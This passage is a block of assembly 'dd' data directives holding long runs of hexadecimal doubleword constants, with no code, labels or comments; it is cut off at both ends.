0A21C7A70h, 6A80BF80h, 0ED445B0Eh, 0DE64543Dh dd 0C8E1489Eh, 96F70EC0h, 6300C73Fh, 53A40350h, 0C08267A9h dd 0ED25E721h, 8E3FECC6h, 39D600D0h, 19CF6312h, 5BDC0ABEh dd 2CE4EFB7h, 0F5D60DCh, 80001F1Bh, 8CDAE87Dh, 1C6022DFh dd 8C371667h, 64B11536h, 6339B600h, 0C3878B25h, 9F8E00DAh dd 29D6049Ch, 1C922DBEh, 4CB01E04h, 0D48152EAh, 604766FAh dd 6B230CE0h, 1A79F0h, 9D44D503h, 0A8EB7B0Eh, 4847994Ah dd 9B0EB548h, 25F9D851h, 9D3503E2h, 55931A74h, 498EDBC8h dd 0B037290h, 1EC9C38Ch, 7487A021h, 0E6FD2498h, 0D9C00001h dd 4B64A088h, 15620C03h, 2099A9h, 618BF791h, 0BE2ED543h dd 9C1F7701h, 665DE575h, 342983FDh, 494C1300h, 0B88E92Fh dd 5A1DBF00h, 0FA835362h, 0D9A509E7h, 0BC4B2724h, 0E675A190h dd 9D8AF1Fh, 0B7210E04h, 3B49488h, 3088EEC4h, 0D9D04E23h dd 0B717496Ch, 48000961h, 1AABEDFAh, 0F3AD1324h, 0D5E800A8h dd 0EB67E8BDh, 7B900860h, 0DC8AF2h, 0D83D6C5Dh, 5244BBB3h dd 91CDFB00h, 59E97B61h, 1B072475h, 10D8804Ch, 9B69D464h dd 0B5FCF100h, 49E13968h, 45513CF6h, 0A400E838h, 0B0184BA6h dd 680FB11Dh, 725C4881h, 54BC6021h, 246CA5F0h, 80204D56h dd 0FDBD9819h, 4A1B020Bh, 0C7F05901h, 4EC14028h, 0AD314449h dd 7D0AC117h, 7F439980h, 210C60F2h, 45801491h, 9120BDFFh dd 0B5124E9h, 9C202758h, 59EA81DCh, 0A3C30D00h, 0EE701E28h dd 0A5E803EBh, 1F306EAFh, 198E1DC0h, 94030B12h, 9B339030h dd 4A1000F4h, 22EF7CF3h, 137A7012h, 16B6DC0Fh, 9820D683h dd 4CF8A120h, 0EF01D04Ch, 0B830CF28h, 0EAB9801Ah, 9F0A8985h dd 918C1F4Dh, 0EEBE4553h, 2C54C813h, 0C15DB100h, 0E85C9807h dd 2B540795h, 3BC4CD06h, 740A8410h, 5A004176h, 4FD76181h dd 227AA32h, 1A7788FBh, 0C4C00A30h, 6C18D292h, 5A3921B8h dd 0DC6100B2h, 5BB451EEh, 681F5E91h, 0FDC11356h, 9E09B0EFh dd 83824E5h, 0AE827783h, 5794A4E4h, 6850CF33h, 3222D3F9h dd 114034B9h, 8B1246C0h, 44E06C00h, 3634B6Dh, 0E4AE4CC0h dd 20362017h, 5C1EB2E4h, 0D0B8D31Ch, 96483740h, 0F91A64Ch dd 1998FDADh, 0A59D2CA0h, 81E0ABDEh, 0CA4E39C0h, 72956Ch dd 65D8792Eh, 1E2B3F80h, 6D00389Ah, 389D1D49h, 0A066EDC0h dd 518A8Eh, 0B11E4EC2h, 0E87E9F56h, 2EFF601h, 0AC954321h dd 200E4C2h, 9E2ABE0Dh, 574055D5h, 70024D3h, 0AAE55BDFh dd 2C454EEh, 23E0B437h, 8CA70862h, 0DB6FB083h, 2CB1109Fh dd 9DFD8780h, 229A862h, 5B85B21Bh, 10E407FAh, 4D887104h dd 82FC0Dh, 0B7FD80CAh, 1D045A4h, 0AEC50320h, 20793954h dd 0CCA1F6A0h, 64A99219h, 81E04C90h, 0CD4148DFh, 0D6FB0076h dd 51AFE7A5h, 825801E4h, 0C780DD34h, 0E146AEFAh, 0C195C25h dd 80C89E77h, 58E56D4Ch, 40C1AA4Fh, 0C333B66h, 54362DE0h dd 0A018C030h, 0B1124E64h, 9E020078h, 8A94BAD6h, 87FE6300h dd 924451DBh, 9B783034h, 77C1C950h, 1B360807h, 68CC5B47h dd 65F02654h, 896C18B0h, 0D40EB9BAh, 1F8BD391h, 5F7F007Ah dd 302CEE09h, 0B4A0751Eh, 0D0B5011Ch, 2D125E0Ch, 41C004Ch dd 512871F5h, 7E7F04D7h, 8E918h, 365C6D2h, 676900EFh, 11E8DB9h dd 4E88276h, 251557E2h, 51B01B83h, 0D839A0EBh, 7F004D7Ch dd 98EF69E1h, 0E2D84414h, 0E3480E02h, 21F22E57h, 2235DA84h dd 0B8611E00h, 0F6FAF800h, 961277AAh, 8B3E8080h, 9F6DBD85h dd 4E9E5Ch, 0CEC6AD7Bh, 711D5040h, 0AA2703A2h, 66D0F616h dd 0E1B95AF9h, 0C07EFC5Eh, 5B4A9009h, 34C0E812h, 0ABF900D5h dd 0FD753E08h, 0F20EF720h, 0C26A72EBh, 400347E4h, 37D45FB2h dd 0B0A12535h, 61690B97h, 9F7A1400h, 8B40F55Eh, 4BA07D1h dd 0B1C160h, 130827A5h, 0A66AEE16h, 4482C15h, 19E7FB6Ch dd 58AF3CF0h, 30580AAEh, 0C900C12h, 0DF281DE0h, 601FAB78h dd 48FFB392h, 0C74CC190h, 7730836Bh, 8EEE45h, 4BEF65AEh dd 9520D5B2h, 32780B1h, 0A398ABF8h, 2201A113h, 1979D450h dd 89D50052h, 0FD38ED48h, 0A9242CA5h, 0A42C64F6h, 21266811h dd 813C6564h, 842EB41Eh, 0E8199411h, 0A41C1488h, 0F76C7AACh dd 8BE670h, 73989D67h, 0D5D11CDCh, 0BF07181Fh, 0A98800E5h dd 72AA157h, 0A6EF37FDh, 0B5426069h, 0B62CEE12h, 460C4C0h dd 1334447h, 6256358Ah, 0D08E49FEh, 0C8025E9Ah, 0CE68CBB3h dd 1F54E09Ch, 326ECE0h, 971D79BEh, 0B8103476h, 0A9152EA0h dd 0E0508407h, 20464FB7h, 583E0CCh, 9B499201h, 0CA45C1A9h dd 348FED0h, 56D66195h, 0E9004C57h, 0E6FFC1B2h, 3C3D3CA6h dd 0BE82C988h, 9E678F21h, 3E433468h, 16730D00h, 57067CE1h dd 0F1F90ECBh, 82A0997Ah, 0A478B652h, 0C855A924h, 0EEBF7F40h dd 0E9DD0071h, 181A1C20h, 0CD002DB8h, 5C2EA66Fh, 5546A68h dd 93A4953Ch, 131380E7h, 0ECB9A344h, 3A5BEF00h, 3CD4C2FEh dd 2A2D1E2Fh, 0B00878B8h, 85636701h, 33D95B19h, 5D03F02Dh dd 261B181Eh, 94EE00C4h, 12C4616h, 2738D070h, 7073FC19h dd 1CE04360h, 5C74A8A8h, 0C700BBECh, 57AE33E5h, 0E29EEEh dd 0C81DD5F7h, 51953B87h, 2D042898h, 2662B1DDh, 6DA97880h dd 29C70725h, 8E569E0Eh, 212A72C3h, 0D519C6B0h, 0D950ED50h dd 5AE0A4F2h, 13149F16h, 0FEA84090h, 0E4DD0045h, 43D06D80h dd 1900C568h, 0CD2C2257h, 0F45456AEh, 0DCAB2AA9h, 11D50094h dd 701DAFE3h, 0FA758E0Eh, 904B90B6h, 276A684h, 48D40E6Eh dd 6C529844h, 0E5577A02h, 0E13F3AC4h, 0E8FCF010h, 70A17417h dd 6731009Eh, 0B7480940h, 69686403h, 2700E779h, 0E8893E0Eh dd 87302C68h, 12283246h, 5E00D059h, 6B1AC235h, 319D0381h dd 5DB279E9h, 0ECA819A3h, 0F925A36Fh, 4E401098h, 54910006h dd 0D1770BE0h, 0CE01B65Fh, 0A51AAA08h, 0A8326221h, 408C2C2Ch dd 890D33EAh, 7A5A1F02h, 7DE286B5h, 913B41C0h, 779EB605h dd 0FCC1E9CDh, 7023C288h, 0CF646600h, 9AA743D2h, 0FE10B712h dd 0EC908600h, 0B1F5B1Ch, 0A1190EEEh, 0DB64010h, 2D268898h dd 4937625Ch, 21544859h, 0A9BB0F68h, 0AE806773h, 7B084C3h dd 6DEDB41Dh, 902DE489h, 0F4139D64h, 0DCE870h, 0EAE9535Bh dd 6BA1C75Ah, 28297500h, 0B0F3BBC4h, 61706E06h, 0DD55C0DCh dd 21096A04h, 8970A64Ch, 0A84C8484h, 0A994CCh, 0B63E963Fh dd 19FF4473h, 0C9E2E930h, 0F7E8B4h, 0A6081DEFh, 7FD9C913h dd 0FA004098h, 87C6158Ch, 13A2E358h, 0C8D169E7h, 7BE4E0B8h dd 0EE091AF4h, 531B45h, 0CBDE2288h, 7E4A40Bh, 25695E77h dd 4DE08F51h, 97450F03h, 1E01D52h, 83D5E24h, 0E8CCC020h dd 87EE049Fh, 0C02F2A95h, 0CE430229h, 812C564Ch, 0B7555D42h dd 0EFF03CE9h, 0EE08005Ah, 50AEE004h, 0C40FBE48h, 0C36C89CAh dd 0F0C85620h, 889CABh, 940A5B74h, 0B434A317h, 21BA4000h dd 2B59DEE3h, 0D75E2CD9h, 0C07080B4h, 1DF2A9EFh, 0CE780184h dd 1E0E13FDh, 0F4A1605Ch, 9FB51F00h, 38EB126Bh, 13A00033h dd 915BFCB2h, 373F100Dh, 4C4E83FDh, 0A8C4D9CDh, 14AFEA3Fh dd 0D476F5C6h dd 36272B04h, 136409D2h, 5FCCF848h, 0BF85008Fh, 950D06A5h dd 5007A79Ch, 76819771h, 0D17AADF2h, 8C560518h, 0BBADC41Dh dd 0D0E5DDC0h, 6E721EBEh, 5EF40EBh, 3AFF038Ah, 8077CC00h dd 6DAFAEC0h, 4ED70A7h, 79B813EFh, 38308807h, 0E20C907h dd 902BBF66h, 569FCD0h, 0B6C77792h, 9450C01Eh, 4807AA31h dd 49505A6Dh, 4C357250h, 96163895h, 58FB8887h, 0BDB74094h dd 0CC312E83h, 0A11EF150h, 1C270C7Dh, 1D811020h, 6900286Bh dd 4AC06658h, 95F44BBh, 0EC521871h, 0FE610049h, 0AF229890h dd 1289F000h, 42FBAB9Dh, 0DAB6011Ch, 0A5B473B7h, 85BD2101h dd 522769E8h, 22A3A482h, 4E20152Ch, 4C3989C7h, 19007A3Dh dd 0A9BD730Ch, 88008545h, 27133712h, 0BE0810h, 30C7B533h dd 0D526F7DBh, 2A362C18h, 360E9D9h, 5BE8818Dh, 908F0BD7h dd 0AFAB3F5Fh, 0EEC10F0Bh, 8C4004Fh, 0FEF86368h, 93D02E30h dd 0B10B00A8h, 0E40456AFh, 225C0F5Ch, 469E92Ch, 575C1Fh dd 938C70A2h, 5A79F799h, 2472DA13h, 0ABD5790Eh, 0A7C88ED0h dd 31407923h, 72AC37F5h, 0D41A00A9h, 9FC5C268h, 123F8AF0h dd 0FA2D042Eh, 0F880E85Ah, 0B859B390h, 48660EECh, 0D0520B07h dd 0A849C624h, 0B2417A00h, 83B079F5h, 6851127Ch, 1D6809DDh dd 8680BCC8h, 8D6D8528h, 155A5900h, 4B79D8DFh, 88B961h dd 52B30BA2h, 1400D43Ah, 5FCF92ACh, 13CEAEFDh, 0B8385116h dd 644800D0h, 8A4B1940h, 0B3C9001Dh, 57BC32BBh, 0DCB11AD8h dd 3D44CD00h, 0B36D7CFh, 0EF19B363h, 1294B810h, 92B85378h dd 0E790D080h, 0D9AF3Ah, 0B5B00ECDh, 37C0627h, 0DFAE9E2Fh dd 0C0BCBE23h, 0A47661Ch, 6B803454h, 6F513600h, 0A31D0250h dd 95E67372h, 0F1387010h, 0F4150100h, 82596FCCh, 0D6DB04C4h dd 0A40B6989h, 9F3E60A0h, 958D93D2h, 4C31B089h, 24ED152Fh dd 0BF015400h, 5A2ADDB5h, 0DE69A90Eh, 47807F6Eh, 0A019B688h dd 1379C903h, 8C00305Ah, 0CE500D31h, 0E5EFF37h, 0C1A0AAD6h dd 0C4E8C05Fh, 1246A830h, 37FD83Eh, 781F1834h, 0D5D1C032h dd 0A4423FF6h, 7588884Ah, 0B3127200h, 831AF8ECh, 45A54E5Eh dd 0B4882140h, 0AB09EB0Ch, 17F51B2h, 801B1D3Ch, 7376C980h dd 55BBE469h, 0AA14DCECh, 305466h, 918685CEh, 0C76EFDh dd 3CDEB19Dh, 5C446888h, 80FB012Fh, 4C9180D0h, 608905A8h dd 80595E6Ch, 36BA4938h, 13E63898h, 0D290F009h, 88490888h dd 0C86F2141h, 1FA20h, 491D69D1h, 4A06A845h, 0B40B1078h dd 0A81CED48h, 0FDC0C0E0h, 5C7A4BEFh, 363C6816h, 0F843D504h dd 3178C0C3h, 0C10262C7h, 268B8F87h, 547A1Bh, 4DDF9467h dd 3FF75C51h, 27495E00h, 55EE2089h, 83D40FFAh, 31582C7Fh dd 510E3129h, 0A025EA40h, 809712CDh, 7589AC5h, 2E3D1178h dd 8C4E45D9h, 0AD00B89Ch, 8F4ECDAh, 18E79F1h, 7FC1F819h dd 4764E58Fh, 9E1F73B1h, 71614800h, 0D96E5B1Bh, 0C27413ACh dd 36B4C18Dh, 9AA02423h, 3DA5E600h, 184D404Eh, 0A8B918D9h dd 6D4B40E2h, 2E072013h, 6C8C0421h, 0E6F6E0h, 0B7356281h dd 21A73258h, 0D1E4C504h, 0E1808B98h, 9DA8ECh, 0EEDBCEF4h dd 0E7C7AD90h, 11614D00h, 77F84BF7h, 91963881h, 501ABA01h dd 8014518Ch, 9487F039h, 0ABFB9Eh, 0A342F802h, 0F624DCD6h dd 0F2485303h, 0BB30C5DDh, 2B3001FFh, 0AA078BE4h, 5D22FCD7h dd 6B447B00h, 0E819594Ah, 6A58C02Ah, 0BFF031DEh, 0DC789600h dd 0C5369C1Dh, 0FFCC0A0Bh, 1EC7A47Eh, 0EC2BC09Eh, 8DCB45E8h dd 87AB8200h, 7F442C51h, 78A00B7h, 0CD010B38h, 8CFF61A7h dd 39215980h, 0C71B00A8h, 38F0D242h, 523311C1h, 0F0C8D90Fh dd 128C68h, 3DA48115h, 515B3F29h, 930A85E8h, 409801C8h dd 0A31E1F00h, 0D68E3Ch, 158A0A6Ch, 0A613415Ch, 0FE1413B8h dd 7580360h, 0E9BD51E1h, 31802A36h, 52919D85h, 5C818010h dd 0F560D4C5h, 61AD7C70h, 0AEB71913h, 0CC16FDA7h, 120053C0h dd 8F8C6A06h, 608BB23h, 0B7F4054Bh, 0CF2314Ah, 0D800A271h dd 4C674EC1h, 0F72C56h, 0B4815F77h, 0B09A769Ch, 72EF8420h dd 82740039h, 6A7ED06Dh, 8E50C542h, 0F80092D8h, 457B5E8Dh dd 7568ECh, 0F035308Ah, 0F4D4BF9Bh, 0E8212628h, 31070C00h dd 8841DFB5h, 367A0023h, 57EA42CAh, 0B9E89BA2h, 0F6F80650h dd 0E70BF9C3h, 4652D9B2h, 5B10B980h, 75C740B1h, 4170F5F4h dd 82042000h, 4535E16Fh, 0A89D55B5h, 1C44C2h, 6640D11Ah dd 0ED7B5C4Fh, 1940839h, 0DDABA27Ah, 20E8CB4Dh, 0AF910AD4h dd 6FF8CCE1h, 0C4978540h, 7303F960h, 0A178FE6Ah, 9A9FC82Dh dd 304471B7h, 0BFB19B2Fh, 1A3559D7h, 70047924h, 5607AB3Ch dd 7D4D40EAh, 27615FE3h, 0F280B020h, 7D567D0h, 7E2D26D9h dd 28551091h, 11009F66h, 14752A50h, 28B5CFFh, 91FCCD6Ah dd 0D440C3EBh, 254CC07h, 0AA004728h, 0A580A24Fh, 863D4Dh dd 0B1FBFE97h, 5A555D0Fh, 91624630h, 300972ECh, 0EF114F32h dd 0CF00C3D8h, 0BFC594B6h, 93B167Ch, 0D4AD3815h, 82261003h dd 55A1B3C9h, 20000B0h, 0A8A2DF8Fh, 424F0101h, 25E436C0h dd 370F8050h, 3A8C01F9h, 6A9A5727h, 61282482h, 0B7DBC913h dd 0FC6B3420h, 0E2850AD9h, 0CA6C66h, 0B8FB0292h, 0A4078958h dd 0EFEA59FEh, 3EB14A26h, 0B1008428h, 881CF44Dh, 69549A40h dd 46289D84h, 0E551747Fh, 7CB5E448h, 0B696D702h, 13B29A63h dd 18DF19E8h, 0A001C918h, 0CA2E1h, 0B8EAF705h, 974D9ABh dd 5698CA06h, 691144h, 0CED0A055h, 0E6B168EAh, 78AF7900h dd 0B0702E28h, 0B8EC001Eh, 1438E10Eh, 3483073h, 8B728008h dd 759BC70Ah, 66DD092Ch, 0E810B693h, 5907A7DBh, 0E4315B0Fh dd 0C8C12Ch, 3681CFB9h, 0DBBBEBAEh, 2C0DBD00h, 1A0A9BAAh dd 302F3035h, 0DD114F61h, 4485FA00h, 0D64E5D39h, 77778F2h dd 1AE5C284h, 83FB7117h, 0C2B6E9ECh, 96009C44h, 1E550759h dd 0F7430AEh, 42B605A1h, 0E581E980h, 3C03B38Fh, 2F38A804h dd 5F713848h, 0EF06A487h, 4D97E044h, 0F9074F6Ch, 0A5BF1F65h dd 0C8400505h, 9BCED662h, 0B22D00AFh, 352E5F3Fh, 500085F4h dd 0E283A73Ch, 0D426593Eh, 3500A491h, 0AE69EABFh, 0B026823h dd 0C51DB8AAh, 1C904027h, 2C6F00E6h, 44329152h, 7B0561F5h dd 7F9DCE4h, 0CBE66C00h, 0FE7D448h, 2FC8E6Eh, 1166A5E7h dd 0C75599B4h, 7830DBA0h, 0F6382400h, 0B5483C59h, 39B72AA9h dd 0E79B0CCh, 22379992h, 9A2FB240h, 0AF090523h, 75B093CEh dd 810BD89h, 51FA0C17h, 4A7CB26h, 3B0EF868h, 9296C01Dh dd 16AF0AC9h, 4AA5CF8h, 0CCB5AC93h, 0E33B9878h, 0B08F00E1h dd 813B7292h, 534314F3h, 42006C06h, 0B0E3EBB1h, 9398C08h dd 232E8528h, 0D3C0D357h, 0C0374550h, 0B5CA1C51h, 0BF0043B8h dd 0BB21C41Dh, 31FEE34h, 453C6D72h, 59189C6Ch, 0D3C99EE5h dd 6DB8008Bh, 38DD9BB7h, 4307FE33h, 1A5FBF9h, 7F1531ACh dd 63BF3F7Dh, 52D0B401h, 0C09DF2E3h, 5912FBDFh, 6442E985h dd 0A05B3214h, 7E4D4288h, 445900E5h, 0D6438572h, 967F7A71h dd 2612D15Ch, 3D40A8E3h, 28B2A1F6h, 889E45h, 11C83F65h dd 0CB5EFB14h, 24C46438h, 0C58034A9h, 97B9365Bh, 6F600DDh dd 0C4AE7D62h, 0B0A4B71Eh, 3BBEC900h, 266321F0h, 0E67400DBh dd 0CF94966Ch, 4C90CD0Eh, 13505B48h, 0B80B90FAh, 158003D6h dd 0C5CDEB7Fh, 0B08C20C8h dd 0D3FA079Ch, 0ACA0A88h, 0C63F408Ch, 0A0008011h, 0D9A6623Ah dd 0F4FFB333h, 9D84008Eh, 77E96A81h, 89289B52h, 85001CD5h dd 797BD962h, 0CF6CA4h, 45D06591h, 0F5BBCC66h, 9F303607h dd 0BD45A338h, 448464CCh, 0C7033D9Bh, 33C30E79h, 0A42085E6h dd 0E07FCAh, 0DE965D16h, 59CD1808h, 80BC2C58h, 0B1497143h dd 0A05C3ECAh, 0CB215B01h, 4CC7D644h, 0AA38E2B0h, 5A358093h dd 6A78409Ch, 7F03A96h, 0D5414703h, 161F9285h, 9C28CC0Ah dd 97939F8h, 9352E802h, 0E8042369h, 3DD1B8FCh, 0FC805445h dd 7396C8A1h, 0DB363AEDh, 54071B0h, 30BA8021h, 277848C5h dd 0EA35AD40h, 6031C0A4h, 0A088962Eh, 445C5901h, 16139199h dd 1529DC70h, 883E303Ch, 40495212h, 2C466708h, 87007E57h dd 0DF3AF350h, 5886E609h, 120313C9h, 8F309159h, 2B1230D6h dd 6808737Ch, 0FB538051h, 8B4E58Eh, 27EDCD00h, 0C822A393h dd 0C209043h, 28B29BD0h, 58A83471h, 0A6006480h, 0E840E067h dd 0F0709Fh, 8FD4DABBh, 512ACDC7h, 0E0394C6Fh, 86295A37h dd 84B2017Fh, 52F08382h, 0F5218012h, 0D928983Fh, 445D266Eh dd 0EB5F005Ch, 4749F150h, 72D0EF01h, 0A7E04814h, 0A39B818Bh dd 0B5466C10h, 4C38D1DFh, 0AA0F8004h, 7F247C4Bh, 0A136049Fh dd 0C17F2520h, 82890CD0h, 0D9E4A7E0h, 0C1C8002Ah, 0F11E69B0h dd 90C13BD6h, 953148C9h, 5950E347h, 949235h, 88F1BFFAh dd 31E3AA09h, 713C5876h, 81A5A685h, 8F51DA18h, 0BF740779h dd 4F87DFADh, 838B67A0h, 0D9021BBAh, 0D743A216h, 17444E5h dd 4178DCB7h, 0C83DB5C3h, 3585CC9h, 7DF180F0h, 17BC3AD3h dd 1776B86Ch, 2785320h, 1A51DC20h, 3BF93CE0h, 8D9C926h dd 98E3190Eh, 0B06161h, 8F65820Bh, 6B2ED2FEh, 0C55CE800h dd 0F68B8AD3h, 0A4C8523Bh, 0A8A18D00h, 0BBFBB31Ah, 0C0949B5Ch dd 0F51D9958h, 74FA0724h, 3502EEF7h, 0AB98CC9Bh, 0FBE1E517h dd 81A6B40Fh, 97E340D7h, 9CE4CC50h, 0B49B1619h, 415A0EBCh dd 0D5DCDDh, 0AF369A8Dh, 8E09FE7h, 3EACC3Dh, 2F590DA4h dd 23814AD8h, 27904624h, 0D51F28E6h, 0F6CF4143h, 2F79A0B1h dd 707E9036h, 0E8BB0034h, 43202C71h, 0B72C9BE5h, 7361B42Bh dd 9FC716A0h, 94108D97h, 7F16346h, 1F3EB76Ah, 0F7008B07h dd 7B60C240h, 0C800E0ECh, 0A9982B99h, 12F8D779h, 911A42A5h dd 0EA0430E0h, 0C800B84Ah, 1C10FCE7h, 0A8B02CF8h, 3357A91Dh dd 0A8AA4F80h, 0E7ADBCFh, 99B3818Eh, 6D4690F8h, 0C00C2DEDh dd 0FDDEF9F5h, 7C47F25h, 0B2B1A08Ch, 352FF21Bh, 796DCA7h dd 691610B8h, 328D4FBh, 0BB24A4D2h, 39408CE4h, 129D5E5h dd 35CE4F23h, 0DCB3F3D4h, 3485EABh, 0F54B80F0h, 0DD093Dh dd 0C9C024ADh, 8BF75FFDh, 0E8F8692Bh, 39054303h, 18DAC0A2h dd 5D2200B8h, 0CA1342C9h, 43032C76h, 0CB411A9Eh, 33E4C198h dd 0EA14D185h, 0E549C3A6h, 0D68619E8h, 92957F39h, 0F420E85Ch dd 0B80406h, 6A44387Dh, 0FF94954Dh, 0B3D39A00h, 0A25E120Dh dd 0F7772CDBh, 0BCE71570h, 0CC94CA1Dh, 7F11FBC0h, 686E0D0Eh dd 0BD2F6415h, 315924B4h, 0BC9F528h, 0CC3BC83Ch, 8780C85Ch dd 29D0D197h, 9466E416h, 0F55100D8h, 0B8CA39DAh, 0F24B400h dd 31A288AFh, 5FB30035h, 9A8A80F1h, 0CE05F8A3h, 0AD065C95h dd 0C9457BC1h, 9103CCC8h, 90D41310h, 53CA60C0h, 80133Dh dd 0DAF1880Dh, 2D561238h, 46E2C374h, 70008CC4h, 5AE55D0Eh dd 77558B6h, 92D4536Ah, 0A47EA085h, 0B077FE1h, 5D361A7h dd 5806D0F0h, 0A0727419h, 0FF8CD38h, 5D8B64ACh, 71136C20h dd 81F5C9Eh, 2C4EE37Ah, 1DB6009Ah, 4CEAF1Bh, 0BE426AE1h dd 1FCA294h, 495FD5C7h, 8E40F04Ah, 381A12FFh, 424FB1F8h dd 0B9882A14h, 3A20DCE0h, 0AFEC903h, 0C0B17F42h, 295FECA4h dd 0DCC52Eh, 4813748Fh, 5230DAC1h, 5429693Eh, 0A95607B3h dd 70A5EA12h, 241DC40Bh, 522C7D00h, 340F44F7h, 0B1B91660h dd 354089Ch, 0AD906B80h, 18DFF08Ch, 19B101ABh, 0EF1C0FFEh dd 3B83C917h, 48BF9A29h, 3D2CAC80h, 208B592Ch, 8C9433ECh dd 3E19F240h, 0E4B7599Ah, 7549409Fh, 7EC35D7Fh, 1531BD00h dd 0AE9A8E77h, 3A59C02Bh, 0B99C6BF8h, 0EB2C9B00h, 8C26F3F4h dd 0B7B055Eh, 0C8019FB5h, 5800255Ch, 1298B039h, 105C9D3h dd 21D7F49Ch, 0EC8FE708h, 0B90061A0h, 632B60F5h, 6F4B775h dd 0EC21269Ah, 1F00B143h, 0C5BBBE1h, 1D92159Bh, 0FA859CD6h dd 611C00FEh, 877B4C8Bh, 590062A7h, 0AED458C2h, 12BFE91Eh dd 30FA0130h, 0F1A1FDA4h, 20520227h, 4C67C288h, 0B5800282h dd 0C930FB27h, 0D0EEA269h, 40003807h, 8BE242FCh, 48017713h dd 85004818h, 64C8EA51h, 48F0D9ABh, 0F9C0ADE6h, 0D099ED82h dd 0DE8C042Dh, 80250DD3h, 16B095A0h, 30FEC832h, 7F072E7h dd 84BA892Dh, 36392C5h, 6D12F064h, 0F400DA27h, 0B8B3A487h dd 3ECD8h, 17EA893Dh, 14181C6Eh, 0D1E32B00h, 5AF82C9Ah dd 0BCE44C94h, 3470409Fh, 0BFBD11EFh, 8F5F5407h, 0EAD2261Ch dd 9441203Ch, 30E09784h, 83A30C3Bh, 8152AF5Ch, 6160CA65h dd 9C22B79Fh, 61AEF601h, 634145A0h, 5F592CD0h, 0CA106600h dd 55518Eh, 0BE28C90Ah, 98B3A22h, 0F90540B4h, 50409FA5h dd 0EDF6791h, 66F2411h, 0AC1D4070h, 0D609B331h, 9207E3A4h dd 28E000A8h, 7427429h, 0FC68780Ch, 0BDD21044h, 0D1CE67EBh dd 7FCE4004h, 0F8A24AE4h, 410260EAh, 0BAB7106Ah, 50705200h dd 0CA347377h, 1D9A1999h, 4061E129h, 322FCED4h, 0BE6951C0h dd 0D191F3h, 0FB780A90h, 63B61670h, 0D4B57E00h, 2E6A8C29h dd 0B2310993h, 0E010067Dh, 6F3FF488h, 0E2BD0222h, 911B9BD7h dd 642933A4h, 0C1F6CC02h, 4C04D78h, 8588F9CBh, 98F4BA93h dd 0E7C82208h, 0B1EDB50Bh, 95D000E0h, 0AE8FD05h, 0E45577A9h dd 0D53A40C8h, 0EA00B7A2h, 0A586C018h, 13CFF71Eh, 99516A3h dd 180BD418h, 3DD5F500h, 0B307CBA0h, 5FF4A75Eh, 88C8B1D5h dd 0A9C90246h, 9FDB45CFh, 34805872h, 91008D26h, 0E0E10110h dd 2489609h, 0CD971BFBh, 0B4C4E4F5h, 0CA99840Eh, 65053781h dd 48C02C2Dh, 72F80FDh, 18B63671h, 0E9F14056h, 51208B0Bh dd 849D010Fh, 0DFBE7414h, 7F047350h, 888E0A00h, 0F806095Fh dd 0AE7200E0h, 173814D9h, 680C012Fh, 0A9EBE39Bh, 0F44B13FAh dd 0C1E40137h, 2233A1AAh, 0DC810018h, 5C3BB15Ah, 7FF00066h dd 3AA227DDh, 4678A158h, 5AE8AF54h, 71C73B01h, 0B663B481h dd 2180C028h, 11177482h, 0FA249500h, 0A6DBE373h, 58F10006h dd 4AC1AFD1h, 3A00873Bh, 8CE225A1h, 0B2612F47h, 310D2CCCh dd 5F240ECh, 903D715h, 0C06DC129h, 0A798B0A8h, 0ED33D27h dd 20A7583h, 0AFE0897Bh, 0BBF0FC78h, 80740148h, 4B548B81h dd 5D200ED5h, 0CB0448FBh, 326081EAh, 0AE69BA5Eh, 9E00372Eh dd 0EE1904D4h, 1DEA0273h, 76759A38h, 0B212D052h, 430023D7h dd 4D68B679h, 401CBC30h, 0F744E8AAh, 281FCA02h, 710364A9h dd 240A005Ch, 0E84280CDh, 0C31DF607h, 4059D101h, 0CE832E8Ch dd 0F8354549h, 2528047Fh, 0EEA2B00Eh, 0D51DD4C5h, 9AEAD844h dd 65ED4090h, 0CC970057h, 9084FCFFh, 8E48F16Eh, 0DF40702h dd 0F810598Ch, 474B458h, 6062F2B5h, 0C4CC8803h, 0BF0E21EEh dd 407051D9h, 62409726h, 7F310411h, 0B45213FBh, 27715AD0h dd 99BA7000h, 373F7C44h dd 0F24E01FEh, 321CFBB5h, 0C5A85036h, 10008361h, 0FE6A8ABBh dd 0B622340Dh, 52A8033Ch, 9E07E04h, 0C001B5Fh, 8EB7B5Bh dd 0BE9BED15h, 4E6C40E8h, 380211A4h, 5E3BAC53h, 0B79E43B9h dd 0C0F4EF2Fh, 23C9EB1h, 0CD6187Eh, 0A2EFC07Bh, 801C0158h dd 6A46E205h, 8BE000A0h, 7CC5BB32h, 0A1005F73h, 2F68428Dh dd 740835h, 81843DA4h, 8A5A7940h, 894B5130h, 1696A8Bh dd 3C26E095h, 7D298909h, 0DEC86038h, 0FC0BB999h, 1CD89E6Ch dd 4CD0B3Ah, 0D09B818h, 22C88E2h, 0D50450A4h, 0D8F2A925h dd 7A0A2000h, 0AA6C67B6h, 0BAA60100h, 374B1181h, 40D55A7Bh dd 326D4390h, 4600A23Fh, 4F2E628Dh, 0C8F040h, 66CDF824h dd 8138C754h, 7DD8A409h, 0A0B0C49Ah, 5EA0F2CEh, 49280813h dd 0BA0EDC80h, 36C4B47h, 59FC8F0Ch, 4DA8AAD2h, 0EC92C919h dd 0E3244550h, 3EF6BD00h, 0DEC40F48h, 0B7F70005h, 0EF4DC139h dd 0DCB9D8FCh, 1006EA4h, 0BE3CFB95h, 208E070h, 0B89FE9AAh dd 0C0680DBFh, 0D3652B59h, 28E23D69h, 42B7B600h, 0E190470Dh dd 581A2C00h, 0BC64F3EDh, 78BD01C2h, 0CEC892ACh, 0C3A470DBh dd 310A1016h, 0C265821h, 0F24EEFD0h, 5112006Bh, 0C1456698h dd 3017A405h, 64D0E4A6h, 0E65A28BCh, 86D50041h, 9D75F0D2h dd 778D668h, 6103DE09h, 4D4A809Bh, 0DFD7456Ch, 0D8003BDCh dd 86BCEA71h, 9CBCE37Ch, 81E41780h, 66B4CCh, 0D24FDBBFh dd 1CB79B1Eh, 44759813h, 0E181ACD5h, 7BFC912Fh, 0EBBE2E14h dd 0AF7640F8h, 5A005B2Ch, 8749B71Bh, 7366E1C1h, 278F004Fh dd 0E4CBF55Fh, 0F8072677h, 7B2A7D36h, 20827035h, 0F8B843B5h dd 1267402h, 0DABFAF5Bh, 893D3209h, 80B39261h, 534952Ah dd 0C12600D9h, 78A7B0E8h, 1400523Dh, 0C9480B25h, 0EA907F2h dd 0CD6A24DDh, 0C7D1B0A0h, 1904FA78h, 45B6827Dh, 0FEC0DC89h dd 9A8A015Dh, 0CD3B7889h, 3281D0EDh, 